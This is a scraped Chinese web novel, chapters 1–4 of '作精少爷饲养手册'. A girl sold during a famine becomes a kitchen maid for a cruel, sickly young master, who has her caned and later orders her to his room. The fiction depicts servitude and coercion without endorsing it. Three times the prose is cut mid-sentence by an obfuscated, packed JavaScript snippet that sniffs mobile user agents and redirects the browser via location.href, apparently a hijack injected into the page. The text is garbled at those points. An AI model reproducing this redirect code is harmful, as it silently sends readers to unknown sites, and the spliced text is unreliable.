《作精少爷饲养手册》 1. 南园 “两贯钱，不能再多了。” 那精瘦的婆子用拇指在叶三娘齿间上下摸索了几下，才缓缓道。 “怎么成呢？我们养了十几年的姑娘，明年就到了嫁人的年纪了！若不是闹旱灾……”三娘她娘急道，“贵人，您再看看吧！” 婆子将手从三娘口里撤出来，熟稔地在衣摆上揩了揩：“拎起来还没鸡仔大，顶天了也就两贯，你想要加钱？那就找别家去！” “贵人！贵人！” 她娘赶紧拉住婆子的手腕，死乞白赖地讨着价钱。 今年天灾人祸一齐下阵，年初刚闹了匪乱，直到六月才平息下来，紧接着又是旱灾，从入夏一直干旱到秋藏，天上一滴雨水都没掉下来过。 门前一茬一茬枯黄的稻子，它们还未孕出穗就烂死在了地里。放眼望去，四处成片的荒芜景象，溪流湖水流经处只剩下皲裂的地皮。 叶三娘默默擦了擦嘴角的涎水，立在一旁成了座雷打不动的石像。 哭也哭过了，闹也闹过了，爹娘铁了心要卖她换钱，她心里说不怨是假的。 三娘上头有两个姐姐，一个死了一个嫁了，下面两个弟弟又是爹娘日后养老的保障……权衡下来，只有她里外不是人。 所以即使她在家里忙前忙后，讨好似的干着最累的活，吃着最少的饭菜，也换不来半分回转的余地。 最后成交的价格是两贯三百文。她娘含着眼泪送三娘出了门，在她耳边反复说着好话，又仔细整理了她的衣裳，这才放她离开。 亲人一场，叶三娘不免哭成泪人。 板车上的姑娘们个个哀哀戚戚，她的抽噎很快被淹没在哭声中。 “哭吧哭吧，总比饿死了强！”婆子捏着手帕，转而感慨道，“日后呀，你们还得谢我将你们买了去，去大宅院里头过好日子哩！” 日头悬在山尖上，照下来的光不算暖和，凉风一吹，那些暖意就轻飘飘吹走了。 驴车颠簸了几次，车上人跟着摇晃，一群女孩挤在一块，你碰我我碰你，磕碰间哭声断断续续，道路平稳后又哭得完整了。 姑娘们正哭在兴头上，全然将她的话当成了耳旁风。 三娘想到自己穿着漂亮衣裳的样子，心里稍微有了慰藉。她悄悄抬起头，正巧与婆子对视了一眼，那婆子睨着她看了一会儿，便转过头跟车夫搭起了话。 车马换了一次一次，车上的姑娘下去一批又上来一批，这样轮转着，直到某天婆子招手让她下车。 三娘心里的石头总算落地了，她真怕自己太差劲以至于没人家要，最后被卖到窑子里。 “这家是个体面人家，进去了也是你们的福气，知道吗？”那婆子给她们好好梳洗了一道，似乎格外看重这次买卖。 三娘和其他姑娘一起点头。 “从进门起，你便叫做于凤。”婆子拿着身契指着一个姑娘道。 她一个个地取名，叶三娘也如获至宝地捡到了属于自己的名字——即使她压根不认识字。 “婶子，能告诉我是哪个‘连’吗？”三娘破天荒地多嘴问。 许是心情好，婆子还算好声气地回了她：“莲花的莲。话说，你识字吗，问这么多做什么……” 叶三娘，不，叶莲腼腆地笑了笑，露出两个乖巧的梨涡。 她们从侧门进去，穿过一道道走廊，院里锦天绣地，栏边一丛粉白凌霄蔓延着开到板桥上，桥下清溪见底，铺有打磨光滑的深浅圆石，水里游鱼悠闲地漂过，又扭过身四散而逃。 饶是叶莲在路上见了不少世面，如今也看得呆了。 时值大旱，她几乎都是半渴的状态，一缸从百里地外挑来的水，一家五口人得节省着喝，叶莲每每只是沾湿嘴唇，不敢贪多。 她何曾知晓，一场天灾对宅院里的人来说，仅仅是少收了几多粮食、银子，更有甚者连洪涝干旱都只在书上看过，百姓艰苦皆为嘴上慨叹。 “就这五个，没有多的了？”面前的屋子里走出一个妇人，侧身打量了她们一眼，问婆子道。 婆子老实地回：“矮个子里挑高个，都是姑娘里面出落得最水灵的了。” 妇人点点头，顺势引婆子进门商榷，走到门边时招呼道：“领着下去吧。” 一旁颔首低眉的侍女闻言，应了声“是”，便走到她们跟前，看样子像要教规矩。 “日后，你们就是南园的人了。我叫做辛夷，是内院管理家务的侍女，也负责调配你们这些新人。” 辛夷清了清嗓子，朗声道。 她穿着雅致，梳着利落的发髻，发髻上还坠有漂亮的头饰。叶莲心里一阵艳羡，她捏了捏自己粗麻制的衣裳，暗暗发誓以后要做这样有气派的大人物。 “识字的，有么？” 辛夷问。 众人摇摇头，叶莲也跟着把头摇得像拨浪鼓。 “会点茶、插花的呢？” 她又问。 回答她的又是一阵摇头。 “那你们有什么其他本事吗？” 姑娘们你看我我看你，说不出话来。 大家都是贫农出生，除了会干活，其他多余的本事是一点都没时间发掘。 叶莲跟她们一样，成日里不是喂养家禽，就是浆洗衣物、准备饭菜，再忙碌一点还会跟着下地干活，或是上山拾柴禾。这样的日子，许多人的一生蹉跎着就过去了，如果没有被略卖，叶莲大约也是如此。 “姐姐，你且安排，我们什么都能做的……” 叶莲壮着胆子说道，说完迎合似的赔着笑。 她因饥饿而削瘦的脸颊多亏了人牙子不曾苛待吃食，现在有了还算饱满的弧度，梳洗过后更加白净而亭亭玉立起来，算不上顶尖的美貌，但是胜在眉眼盈盈，招人喜爱。 辛夷这才正眼瞧她，甫一听她说完便有了点子，开口道：“那你去后厨照看少爷的餐食吧。” 后厨杂乱，其实算不上很好的去处，但对叶莲来说，能与食物打交道，是对她的恩赐。 她没多想，喜形于色地弯弯眼睛，学着在路上见到的礼仪飞快弯下膝盖，应了声清亮的“是”。 辛夷原本是打压的意思，听她这一句倒有些愕然，矜持的神态不自觉柔和下来，对后面的姑娘都没有过多刁难。 安排完去处后，辛夷又提点了几句规矩，才带着姑娘们往各自安置处去。 其余四位都是去少爷院里伺候的，只有叶莲被安排在了厨房。与她们分别后，叶莲草草收拾了一会儿，就赶着去后厨报道了。 南园北院是主人李兰钧的住所，繁复而弯绕，年纪稍大的侍女带叶莲走了一遭，就算她刻意去记，也难以完全记住来路。 路过一道二人宽的阁道时，院里突然传来瓷器碎裂的响声，然后是模糊的男声，叶莲正要仔细去听，却被侍女眼疾手快地拉走了。 待走远了，侍女才松了口气似的对她道：“辛夷难道没教你？莫听莫看莫言！” “对不起姐姐，我太紧张……以至于忘记了。”叶莲赶忙道歉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186815|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊惧地咬着唇。 那侍女见她可怜的模样，摇着头叹了口气。 “算了算了，日后记住就好。听闻你是新来的送餐丫头，少爷脾气不大温和，你可千万不要像方才那样了。” 少爷即是李兰钧，自幼身体孱弱，但脾气秉性却与身体大相径庭，喜怒无常、尖酸刻薄，是扬州城数一数二难伺候的主儿。 他还未成家便先了开府，又因是家中娇惯大的幺儿，南园仅距李府百丈，家里常来走动，所以沿用了曾经府中的尊称。 也有人说，李少爷不乐意别人叫老爷，是觉得把他叫老了…… 这些，都是听人牙子嚼舌根听来的。 叶莲抚了抚碎发，忙称是。 “在这里，守规矩是最最顶要的。” 侍女补充说。 她们又走过一条弯曲的石子路，终于到了厨房。此时正值晚膳前夕，屋顶袅袅升起炊烟，厨房里的人有条不紊地忙碌着。 侍女送她到门边，跟掌事嬷嬷说了几句便走了，留叶莲伫在门口紧张地搅手指。 “叫什么名字？”嬷嬷一阵忙活，好像终于想起了她这个人。 “叶莲……”叶莲紧接着答。 嬷嬷听完也不欲多问，随手指给她一个人，吩咐道：“待会跟着红儿她们一起去送膳，熟悉一下。” 时值孟冬，屋前的桃树伶仃只剩几片黄叶，冷风飕飀穿枝过，卷起余下落叶，叶莲一哆嗦，往厨房里挪了几步。 大家只闷头干自己的活，厨房柴火声，煮锅声，切菜声，就是没有人声。 叶莲诚惶诚恐，四处帮着忙活了半天，感觉哪儿都插不进，又不敢停，最终只得拿起扫帚扫起落叶来。 菜备好了，红儿让她去净了手，才递给她一碟剥好的石榴籽，让她跟在一行人末尾。 叶莲垂着脑袋，无头苍蝇似的跟着队列，她不敢多看，又怕石榴洒了，一路不知怎么走到院里的。 刚踏进北院，一股暖香便扑面而来，叶莲抬眼觑了一眼，只见侍女两人作伴左右扇着炭盆，光炭盆便有十几个。 庭中水池青竹，苍翠松柏垂在池边，与游鱼相依，从悬木泻下的纱幔飘忽若云，叶莲哪见过这般风景，匆忙低下头，才发觉脚下石路铺的鹅卵石是玉做的。 做梦一般踏进内室，用绸缎珍宝堆砌的屋子里，赫然拥着一位男子。他斜倚在矮榻上，层层叠叠的软纱似遮似敞，叫叶莲怎么都看不真切。 错金博山炉缭绕而起的薄烟散发出淡淡的梅香，在这催人迷朦的暖香里，男子伸出一截苍白的手捻起小巧的点心，点心中央一抹绛红。 “哎，哎。”红儿用极小的声音在一旁唤。 叶莲恍然回神，讷讷地应了，才发觉背上汗湿了一层。 她照着指示将那碟石榴放在一侧桌上，不敢有半分马虎，要退下时却听那人开口—— “拿过来。” 叶莲只觉得浑身像数万只蚂蚁在爬，让她思考不得。 她哆哆嗦嗦地端起碟子，绕过餐桌走到矮榻面前，在边上跪下。 原本有着无限好奇的面容，现在让叶莲不敢抬头。 余光里那只修长而苍白的手落在石榴上，随后捏起几颗，再落下，又捏起。 石榴衬得他的手指更加不似常人的白。 叶莲将蓄在口腔里的唾沫咽下去，生怕被瞧见一般咽得缓慢。 “你抖什么？” 语气里听不出喜怒。 她愕然抬头。 2. 受罚 那双含情脉脉桃花目眯了起来，藏有两颗琉璃似的眼珠光华浅淡。 特别是眼珠正下方一点让人遐想万千的小痣，被冷色的肌肤衬得妖冶，带着病气的面容不像神仙却像山鬼。 “我长得很吓人吗？” 李兰钧神色不快，已有山雨欲来之势。 叶莲哑然，又想起人牙子说道士断言他活不过弱冠，一时惊恐交加，腿一软瘫坐在了地上。 石榴骨碌碌地顺着倾斜的碟子落在衣裙之间，她自觉犯了错，心中方寸大乱，又哆哆嗦嗦地开始捡。 “大胆！少爷问话竟敢不回！” 一旁的侍从喝道，说着就要将她拉出去。 叶莲吓破了胆，忍着哭腔回：“不、不吓人……” 她一边说一边飞快地摇着头。 “少爷长得好看、奴婢方才看呆了……” 来不及思考，她只得如实供述，生怕自己被打发出府。 不过看李兰钧像鬼这一想法，她结实吞进肚子里，一字不敢吐露。 屋子里似乎更安静了，那作势要拉她走的侍从也脚下生根。 “……”李兰钧也没想到竟然有人这么大胆，所以一度失语。 那厮说完却化作一只鹌鹑，恨不能缩成个球，全然意识不到自己的口出狂言。 “油嘴滑舌。”李兰钧回嗔作喜，拿过那碟石榴仔细端详着，而后又轻飘飘地扔在地上。 “呯——” 那碟子瞬间摔得四分五裂，石榴子如蟋蟀般飞溅开来。 叶莲狠狠一阵股栗，迸裂的瓷器碎片划在手背上，很快就火辣辣的疼。 可她顾不得去查看伤口，温热的液体慢慢流淌下来，叶莲只是弓着身子，半分不敢妄动。 “脏丫头，你的命够抵我这缂丝地毯吗？”李兰钧语气中听不出喜怒，嘴上说的却叫人害怕，“就算将你打死剥了皮，剩下的肉用草席卷出去扔了，好像……” “也不够吧。” 暗红的血珠浮在地毯的绒尖上，又溶在一起成为一处脏污。 好不容易得到的好出路，这么快就到头了吗？ 叶莲死死盯着捏紧裙角的拳头，牙齿将嘴唇渗血，眼角被泪逼得通红，却不敢落下泪来。 她不敢反抗，没有任何办法。 “少爷、少爷饶命……”她带着哭腔求饶道，嘴里反复说着这句话。 李兰钧自然不会在乎一个奴婢的性命，但他的心情倒也不算差，所以对着侍从挥挥手，道：“带下去——” 说话之余，多瞧了一眼那侍女的反应——叶莲听罢呜呜地哭了起来，又不敢让眼泪落到地毯上，只得一边擦泪一边含糊不清地求饶。 好像折磨人的乐趣达到了似的，李兰钧大喘气一样补全了后半句话，“杖二十。” 侍从松了口气，这才将叶莲扭送到庭外。 叶莲仍在状况之外，胸膛起伏还未平息就被按在了长凳上，她抬头望向周围，发觉自己在北院门口。 李兰钧大概不愿他的院子被下人弄脏。 “姑娘，且抓紧了。挨过这遭才算完呢！”侍从提醒道，旋即抓起了一旁递来的木杖，用合适的力道落下第一杖。 饶是做了准备，叶莲也承受不住地哀嚎出声，然而第二杖第三杖却不容她歇息，又雨点一般下来。 二十杖将将打完，叶莲便如霜打的茄子一般滚下地去，眼皮眨巴了几下，实在受不住阖上眼晕了。 模糊中有人把她捞起来，左右架着她的两只胳膊就走，说什么她也听不清，只记得一路上的颠簸和臀上不容忽视的疼痛。 再醒来时，她已经躺在下人房的通铺上了。 “醒了醒了！”一堆姑娘像鸟雀似的轻声欢呼道。 叶莲伏在床铺上，仰起脸环视一圈，周围都是厨房和她一道上菜的侍女，除了红儿其余还未曾知道名字。 她张开干裂的嘴，勉强出声：“水……” 有姑娘赶紧递来一只水瓢，她接过大口喝了起来，凉水顺着脖颈流进衣领间，她的意识才被冷得清楚起来。 “还疼么？” 红儿蹲在她面前问。 叶莲略微一动，痛感瞬间冲上头顶，整个脸都疼得狰狞，她小鸡啄米似的点头。 “万幸只是二十杖，不然你人就得废了。”另一个姑娘道。 有人接茬回她：“是呀是呀，一身伤病也不好再找主人家做事……” “若有心善的人家，还是能得口饭吃的。譬如紫竹的主人家……” “心善不好说，心恶莫过于我们家……” “快快闭上嘴，小心被听去了。” …… 姑娘们在叶莲耳边窃窃低语，她趴在床上心有余悸地听她们谈天。 红儿靠近她，在她耳边道：“这几日好好休息，我帮你跟沈嬷嬷告假了。” “红儿姐姐，麻烦你们帮我这么多。”叶莲瘪瘪嘴，差点没忍住哭出来。 红儿笑了起来，两只凤眼眯成缝：“没什么，院里人多离不常留，我也是想多一个长久姐妹。” 她是厨房侍女里年岁最大的，为人也稳重许多，所以自然而然成了个中的领头。 没有红儿的意思，她怕还缩在某处偷偷换药。 叶莲谢意溢于言表，又听其他姐妹说伤药也是她使钱托门房去外头拿的，更是不知道怎么谢了。 “红儿姐姐，日后你就是我的亲姐姐，呜呜呜……”叶莲好没出息地揽着红儿，猫儿似的又蹭又哭。 众人见她可喜的便宜模样，纷纷笑作一团，叫嚷着让叶莲认“姐姐”。 这让她又惊又痛的一日，就在笑闹中过去了。 叶莲在床铺上足足躺了五日，才勉强能下地走路。姐妹们照顾她行动不便，便把择菜烧火这种轻活交给她。 再过了半月，叶莲已经能在厨房的小院里窜来窜去，她的劳作也终于开始了。 天气转寒，南园发放了新的冬衣，如若不是李兰钧性情可怖，这里倒也是一处十分上乘的去处。 叶莲埋头搓洗手里的萝卜，一道想一道清理萝卜上的泥垢。 萝卜顶上翠绿的叶子背面软刺扎得她手上泛红泛痒，叶莲用木盆里的泥水淋了一遍，才将水泼在墙边的水沟里。 从水缸里舀了水洗干净盆，这才将这几个胖白萝卜放进里边清洗。 臀上的伤口大多结痂脱落，但让叶莲一想起始作俑者，总是汗毛直竖。 甚至于听他的名字都头晕目眩，仿佛李兰钧已成为她心头的一道禁忌，只是旁人不知道而已。 “莲儿，莲儿。” 厨房掌勺的李伯忽然朝她低声道。 叶莲赶忙停下手中的活，甩干净手上的水上前。 李伯左右看了看，才说：“北院来人说少爷要喝热汤，待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186816|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿我舀了你给送去，好么？” 厨房的人皆晓得叶莲前些日受罚的事，只是今日其他姑娘被借去西院做洒扫。姑娘们体恤她带着伤，留她在厨房打下手，也没想到李兰钧突然要喝汤。 叶莲有些为难，她一百个心不想再见那位少爷，可该来的躲不了，她不能总靠着别人帮衬。 “嗯……”她思忖半刻，还是点了点头。 想来是怕她出岔，李伯一边着手准备一边叮嘱道：“你只管端汤过去，别的什么都不要做，侍奉着就成了。” 小火炉上煲着一小锅鸽子汤，李伯拿铜勺撇去浮末，盛出一盅，又仔细捞出肉渣，只留纯汤在里，才捏着两边盅耳放到案上。 叶莲上前将盖盖上，天青色的盅子只有半掌大，贵人们喝汤向来食啖，李兰钧尤甚。 他用过的膳赏赐下来，几乎没见着动，分食轮到厨房，虽然大多被扒吃干净，叶莲有时也能蹭上几口平常吃不上的珍馐。 “切记切记，一丁点都不能错……”她刚要端着出门，李伯又不放心地凑上来絮叨。 院里不许嬉闹闲谈，叶莲怕被旁人见到落了口舌，应了几声便匆忙出门了。 平日里厨房哪这么多话，若不是担心她挨罚，李伯也不会上赶着犯错事。 叶莲心里记着这些好，手上却也不敢耽搁。她只想着赶紧办完差，好让心口擂鼓一样的声音平静下来。 不能错，不能错…… 她诵经似的在心里念叨，转眼就到了北院。主屋门上的牌匾刻着龙飞凤舞的三个字，叶莲不认识，只觉得张牙舞爪让人害怕，像里边住着那位。 她现下见谁都是怕的，连踌躇的光阴都没有，硬着头皮踏进里屋，就怕李兰钧治她个耽搁罪，届时她全身是嘴都说不清。 “回来了有什么用？全扬州的姑娘都把我当妖怪，躲还来不及，她难道还会上赶着来？” 李兰钧将一盏茶拍在案上，案上置的香炉同他的声音一道抖了抖。 “他骆家早几百年前就同我们定下的婚约，如今女儿清养回来，总不能说不作数就不作数吧。” 一旁坐在圆凳上雍容华贵的妇人劝道，黛眉皱成川字，舒展开也见不浅痕迹，“再者说，他家小姐还没说不愿意呢！你们幼时一起玩过，情谊深厚，她又在观里修习，定生的菩萨心肠……” 叶莲诚惶诚恐地上前，将鸽子汤摆在几案的空处，声如蚊蚋：“少爷，您要的热汤……” “我又不要她可怜！” 李兰钧仿佛被触了逆鳞，腾地一下拔高了声量，怒不可遏地喝道。 叶莲闻声一抖，腿比头脑聪明，扑通一声便跪下了，她顺势伏下身子，将额头紧贴着地板。 妇人见他动怒，忙倾身去抚拍他的背，面上神情心疼不已，“兰钧……我不是这个意思。” “你幼小丧母，自打记事起就养在我身边，我将你带到这么大，比亲生骨肉都疼惜……” 叶莲听到这，便知道这是李兰钧的继母，知府李肃续弦夫人崔氏。 崔氏低眉浅道，像是想起什么往事，眼眶湿润，深深吸了一口气，几次开口都哽咽无言。 “你至今未成家，我和你父亲都为你着急得紧，我哪能眼看着你一生没个安处？让我死后九泉之下如何面对先夫人、如何安息得了……” 那只放在李兰钧背上的手戚戚然收回，崔氏捂着心口曼声哀哭。 3. 侍奉 一时阒然无声，屋内奴婢大约见惯了大场面，除叶莲不明所以地发抖外，皆屏息等李兰钧开口。 “母亲。” 李兰钧怒意未消，却也不忍心见崔氏哀哀戚戚的模样，只好语气僵硬地打断道，“您何必如此。” 崔氏这才止住势头低眉瞧他，期冀着李兰钧妥协顺便说些软话。 然而李兰钧生来学不会讨巧二字，更何况他还在气头上—— “待儿寿尽，自去跟先母解释。” 言下之意：我死在你前头，你就不用操心了。 伏在地上的叶莲听了，深感李兰钧是个阎王，生下来就是折磨人的，不光园中下人被他摧残，连两亲兄弟都难逃其害。 她生怕殃及池鱼般缩了缩脖子，贴着地恨不能变成一条活地毯，至少李兰钧会稍微宝贝些。 崔氏闻言陡然趔趄，捂着心口的那块布料险些被捏成团，她近乎咬牙切齿地道：“你、你！一派胡言！成何体统！” 对面那人浑然不觉忌讳，反而接着话头继续说道：“倒是那骆家姑娘，若真嫁了我才是叫人难看。两个病秧子凑一对……争着比谁先咽气吗？” 眼看崔氏就要被气得当场以头抢地，李兰钧适时按住她的手腕，嘴上仍不给她开腔的机会， “这婚约本就是个笑话。就因我二人同样体弱、同样与众寡合、同样被那劳什子算命的断言早夭，你们就削足适履、非将我们绑在一起不可？莫说我，你们何曾问过她的意见？” “父母之命，媒妁之言……”崔氏道。 “母亲方才还说最疼惜我，现下却要伤孩儿的心么？母亲要眼睁睁看着我沦为他们的笑柄吗……” 李兰钧作忧伤状轻轻咳嗽了两声。 这一连串下来，比村头说书人讲的故事还要绝妙，那些话像松毛虫似的钻进叶莲耳朵里，让她听了个干净。 崔氏自然不是他的对手，被他三言两语收拾妥帖，唯恐自己再伤李兰钧的心，终是吐不出半个字来。 “唉，你啊……” 她移开李兰钧放在她腕上的手起身，略整理了衣冠，才缓步离开。 “母亲，西院我叫人收拾出来了，您何不留宿一宿？”李兰钧喊住她，神色回归平静。 “不必了。” “那用个晚膳？” “府中还有要务，耽搁不得。” 李兰钧会意，撑着矮榻站起身，正色道：“替我问父亲安。” 崔氏临行至门边，恻恻回头：“今日的话你若听得进，他便省心了。” “又不是非成婚不可。”李兰钧前进几步，正走到叶莲身侧。 叶莲匍匐着身子，已有麻木之感。李兰钧一近身，她忽然清醒了大半，拖着酥麻的双腿趴成一只有棱有角的“四脚方桌”。 “不成婚、届时你到了后悔不了的年纪，眼看着人家儿孙满堂，就明白我们的良苦用心了。” 崔氏无力多费口舌，直言不讳道。 这回李兰钧也倦得与她拉扯了，“这辈子就不会有这一天，您和父亲不要再瞎忙活了。” “外面多少人上赶着进门，只要我有意，何曾愁你的婚事到如今？”她句句恳切，脸上一直未见舒容，“可那些人都不是为了你啊！我怎能像买卖货物一样，使些银子买一个姑娘来同你成婚？” “那些小门小户的，待我与你父亲去了，指定要将你的家产吃干抹净，那时候你又怎么办呢？我是放心不下你啊……” 言语之恳切，让地上的叶莲都些许动容。 思绪飘远到那个小渔村，她娘在她幼时也曾抱着她坐在门前，轻柔缓慢地唱着当地童谣，看着她的脸蛋满是怜惜。 这是她长这么大，她娘对她绝无仅有的爱抚，之后便是两贯三百文，将她卖了个好价钱。 至此，她对她娘那点留恋烟消云散，心里只有怨恨。 所以当崔氏为了李兰钧的婚事长谋远虑，甚至几番落泪的时候，叶莲是羡慕的。可也仅仅是羡慕。 “想那么远作甚？横竖我已长到二十，二十年来无忧无愁，余下十多年照旧过就是，您且安心吧。”偏偏李兰钧是个不知冷热的木头。 “你就跟我们犟吧！”崔氏只得道。 “那还要我如何？”李兰钧口舌上不愿落下乘，追问道。 这句已然是含怒的语气，带有疑问的成分不占多数。 “难道非要我留个后，你们才罢休吗？”他意味不明地冷声道，“那好，只要是我的子嗣，谁生的都无所谓了！” 崔氏只当他在闹脾气，扔下“随你”二字便踏出了门。 李兰钧被兜头盖脸地浇了盆冷水，脸色又青又白，他火气还憋在肚子里，找不到发泄的地方。 “汤！”他看着早已没了人影的大门，低喝一声。 叶莲未及反应，李兰钧第二句话就冲了出来：“都是死人吗？” 她赶紧爬起来，顾不得久跪突然起身带来的晕眩，跌跌撞撞地奔上前去端热汤。 那汤拿在手里时已经涼了，从汤水里透出的凉意直达她掌心。叶莲认栽般咬咬牙，闭着眼睛递了上去。 李兰钧迟迟未接过，然后在意料之中地打翻了。汤水溅了叶莲一身，盅却在地上转了几圈，没有碎。 叶莲忍住发抖的身子，将头死死埋在胸前。 “你。” 李兰钧那只修长的手倏然抓起她的手腕，叶莲心猛地一颤，慌乱间惊愕地抬起头与他对视。 他眼里暗波涌动，似有层层巨浪翻卷而出，仅看了一眼，叶莲就害怕地垂下眼帘，大气不敢喘。 轰隆着盖过所有声音的心悸，她在这其中间隙里细细呼吸。 李兰钧没认出她。 这让叶莲稍稍平复了一些。 然而李兰钧接下来的话却叫她再也无法冷静——“夜里到我房里来。” …… 夜里……什么？ 叶莲觉得自己一定理解错了这话中的意思。 大约是夜里去门边守夜吧。 或是掌灯这类的杂活。 一定不是她会错的那个意思。 “高兴傻了？”李兰钧冷哼一声，放手轻蔑地将她往前一推，“滚下去准备。” 叶莲被推得踉跄，头嗡嗡作响，里面反复循环着李兰钧的话。 “什……什么？” 她宁愿是被拖下去打二十板。 “林檎，带她去偏房。”李兰钧余怒未消，烦躁地挥挥手道。 站在一边如同死物一样的侍女沉稳应声，然后带着两个丫鬟走到叶莲身边。 “回房休息。”李兰钧没再看她一眼，头疼地揉着太阳穴，被一众侍从拥着先出门。 叶莲迟迟没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186817|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有走动，眼巴巴望着他直至消失，也没听见半句回转的话头。 屋里缥缈的香风裹挟住她，下等丫鬟的浅绿色成衣针脚粗滥，与其余众人大有不同。 那条素色衣带被她攥在手里，几乎快揉成废纸的模样。 “莲儿，走吧。”林檎不动声色地催促着。 叶莲没有精力去想她怎会知晓自己的名字，只是沉沉地点头，随她们的脚步向偏房去。 上次从前厅出来是受罚，这次……也等同于受罚。叶莲抬头望天，苦涩地想。 院里一些花草分不清时节胡乱开着花，廊前一枝秋海棠伸进走道边，靠着栏杆绽出几朵淡红色花苞。 近来天阴，灰蒙蒙的天欲落雪不落，一片乌天偶尔才飘两三片云。院里成日炭火不断地烧，除非下雨几乎感觉不到冬日的气息。 叶莲在廊道走了一会儿，竟也不觉得冷，手脚都还温热着，想是炭火烧得太密的缘故。 走到偏房处，林檎已让人备好了热水。叶莲刚走进房间，门紧接着就关上了，几个在房里等候的丫鬟立即上来脱她的衣服。 叶莲没被伺候过，浑身不自在，忙制止住她们自己一层层地脱。 被李兰钧点名伺候，她短暂地惊诧过不甘过，但就像当初被卖掉一样，很快，她就顺从了。 命运如何她不知，最差不过横尸一条。 “我要做些什么吗？”她故作轻松地搭话。 “被挑中是你的福气，伺候好少爷就是你该做的。”林檎淡淡地回。 福气福气，几个人在她耳边说过，可她真的不明白福气到底是什么。 “我……什么都不会。” 叶莲低垂着脑袋，乌黑的长发飘浮在水面上。 她的脸被水汽蒸得红扑扑的，一双眼睛亮亮地看着浴桶某处。 林檎对这种企图攀附的人没什么好脸色，在她眼中，叶莲在前厅的种种作为，全是为了勾引少爷。 她忽然将水瓢砸在水面上，溅起的水花让叶莲惊叫一声，随后无措地搓擦进水的眼睛。 “我自然会安排！” 叶莲觉察到她的敌意，默默坐在桶里不再开口。 梳洗完之后，林檎将一叠衣服放在桌上，便头也不回地离开了。 叶莲将那件质地上佳的衣裙套在身上，藕粉襦裙衬得她皮肤白皙，两只梨涡也甜腻许多。 她同侍奉的丫鬟聊了几句，又分着吃了以往很难吃到的精巧饭菜，在去见李兰钧前，盘子里几块点心也被满满当当地塞进嘴里。 夜晚，叶莲踏着夜色推开李兰钧内室的门。 内室烛光晦暗，扑面而来一股清雅的芙蕖香，一架极为上乘的木雕屏风横在她与李兰钧之间，屏风上是磅礴的山水。 叶莲悄无声息地走进内室，轻轻关上房门。 屏风后的人影闻声动了动。 “少爷，奴婢失礼了……”叶莲磕磕巴巴地说。 “磨蹭什么？”里面传来熟悉的男声，带着不容置喙的气息。 叶莲盯着地板踱走到床前，但仍不敢抬头。 屋里暖融融的，与燃的合香并不相宜。 “过来，来床上躺好，这都要我教吗？”李兰钧极不耐烦地拍拍床板，见叶莲一动不动地搅着裙带，一身打扮勉强算得上小家碧玉，这才放缓了语气，“……怎么如此笨。” 4. 夜雪 即便李兰钧稍缓了语气，叶莲对他的畏怯也并未消减多少。 但她又害怕眼前人的脾气，所以只得慷慨就义般挪开脚步向李兰钧靠近，最后缩着脖子坐在床尾。 床帘盖住她一边发髻，明灭不定的烛影落在她一寸秋波处，她皱起眉头可怜巴巴的模样被李兰钧一览无遗。 或许是初度情事之际，他那些泄不完的怒气跟着过长的裙带一同堆积在地上，暂时没了踪迹。 叶莲见他眸光迷离，桃花目如水色般化开，荡漾出一片涟漪。 正揣度间，李兰钧倾身过去，看她像看着一块尚可吞吃入腹的点心。 这样的李兰钧，叫她更怕了。 “少……少爷。”叶莲缩得几乎看不见脖子。 李兰钧一顿，盯着她看了半天。 “就连你也嫌我吗？” 他突然问，语气淡然。 “奴婢不敢……奴婢只是害怕……” 叶莲拿不准他的态度，回复得谨慎。 头顶传来一声冷哼，罩在她面前的阴影撤了回去，让她得以重见光明。 她忍不住抬眼去看李兰钧的反应，却见他坐在床沿上，眼里情愫已消散殆尽，那张俊俏苍白的脸在暖黄烛光中显得有些许落寞。 “跟下人厮混在一块，我是疯了么……”李兰钧用手遮住自己的眉目，喃喃道。 叶莲听着，咬唇低下脑袋，同作一副愁苦模样。 “你是上回那个打翻石榴的丫鬟吧？” 正当她以为李兰钧不会再理会她时，他却率先开口道。 此情此景，他有千般话语可讲，唯独挑了这件事。叶莲诧异他没动怒叫她滚出去，反而心平气和地与她说这件不相干的事。 “是，奴婢愚笨，惹得少爷不快。” 叶莲紧张地回。 “你们这些人明知我古怪，却还要上来讨不自在。” 李兰钧这话别有用心，不止在训她。 外界那些评判，原来他也是知道的，而且了解颇深。 叶莲咽咽唾沫，愈发觉得隔墙有耳，日后在下人房说闲话得贴着耳朵说。 她正纠结要不要跪下谢罪，李兰钧又自顾自地说道，“左右婚约不过是权宜之计，若真在道观养好了身子，她又有何理由选我……” “……想必和他们一样，都盼着我死吧。” 感知到他话里伤情，叶莲霎时没了动作，二人缄默地坐在床边，温情彻底冷寂下来。 